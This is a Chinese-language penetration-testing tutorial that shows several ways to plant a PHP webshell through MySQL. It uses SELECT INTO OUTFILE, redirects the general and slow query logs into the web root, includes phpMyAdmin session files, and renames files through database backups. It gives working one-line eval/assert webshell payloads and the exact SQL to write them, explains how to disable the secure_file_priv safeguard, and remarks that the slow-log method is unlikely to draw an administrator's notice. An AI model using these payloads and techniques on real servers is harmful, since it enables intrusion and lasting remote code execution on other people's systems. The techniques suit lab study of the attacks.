0x01、利用MySQL命令導出getshell
利用條件:
1、擁有網站的寫入權限
2、Secure_file_priv參數為空或者為指定路徑
3、知道網站的絕對路徑
方法:
通過into outfile 進行文件寫入,寫入一句話木馬
CREATE TABLE shell(cmd text);
INSERT INTO shell(cmd) VALUES('<?php @eval($_POST[CMD]); ?>');
SELECT cmd from shell INTO OUTFILE 'D:/php/www/shell.php';
*************************OR************************************
select '<?php @eval($_POST[CMD]); ?>' into outfile 'D:/php/www/shell.php';
測試:
利用PHPStudy打開MySQL命令行
通過show global variables like ‘%secure%’;命令查看secure_file_priv,這個參數用來限制數據的導入和導出操作。
如上圖所示,這個參數為NULL,MySQL服務會禁止導入和導出操作。
解決方法:
windows下:修改my.ini 在[mysqld]內加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]內加入secure_file_priv =
然后重啟mysql,再查詢secure_file_priv
現在即可將一句話木馬導入到指定文件
用蟻劍連一下,可以成功連接。
0x02利用日志getshell
利用general_log和general_log_file拿shell
方法:
開啟general_log后,系統將mysql執行的每一條查詢語句寫入我們指定位置的文件里。而文件的位置則由general_log_file確定。我們可以開啟這個選項后,執行SELECT '<?php assert($_POST["cmd"]);?>';,這個指令就把木馬插入到我們指定的php文件中去了。
測試:
利用PHPStudy打開MySQL命令行
執行下面操作,修改general_log_file的值
set global general_log = "ON";
set global general_log_file=” D:/php/www/shell.php”
在查詢語句中寫入一句話木馬
這樣就成功將一句話寫入了我們指定的文件。
用蟻劍連一下,可以成功連接:
當然,也可以在phpmyadmin里面更改
利用慢查詢日志寫shell
原理:
慢查詢日志,只有當查詢語句執行的時間要超過系統默認的時間時,該語句才會被記入進慢查詢日志。
一般都是通過long_query_time選項來設置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值,這個查詢語句將被記錄到慢查詢日志中。查看服務器默認時間值方式如下:
show global variables like '%long_query_time%';
通常情況下執行sql語句時的執行時間一般不會超過10s,所以說這個日志文件應該是比較小的,而且默認也是禁用狀態,不容易引起管理員的察覺。
測試:
利用PHPStudy打開MySQL命令行
執行下面操作,修改slow_query_log的值
set global slow_query_log = "ON";
set global slow_query_log_file =” D:/php/www/shell.php”
在查詢語句中寫入一句話木馬並延時10秒以上:
select "<?php @eval($_POST['cmd']); ?>" or sleep(11);
蟻劍連接測試
0x03 利用文件包含漏洞getshell
原理:
對於phpmyadmin來說有一種特殊的機制,所有SQL的執行操作將存入session。
所以,如果目標站點存在文件包含漏洞,我們可以通過包含session文件來拿shell。
測試:
利用PHPStudy啟一個環境。打開phpmyadmin,輸入sql查詢語句,執行
我們在session文件中就能找到這條語句的執行記錄:
為了測試,我手動建立了一個存在文件包含漏洞的php文件
然后去包含我們的session文件
蟻劍連接測試
0x04 利用數據庫備份getshell
網站對上傳的文件后綴進行過濾,不允許上傳腳本類型文件如asp/php/jsp/aspx等。
而網站具有數據庫備份功能,這時我們就可以將webshell格式先改為允許上傳的文件格式,如jpg、gif等,然后,我們找到上傳后的文件路徑,通過數據庫備份,將文件備份為腳本格式。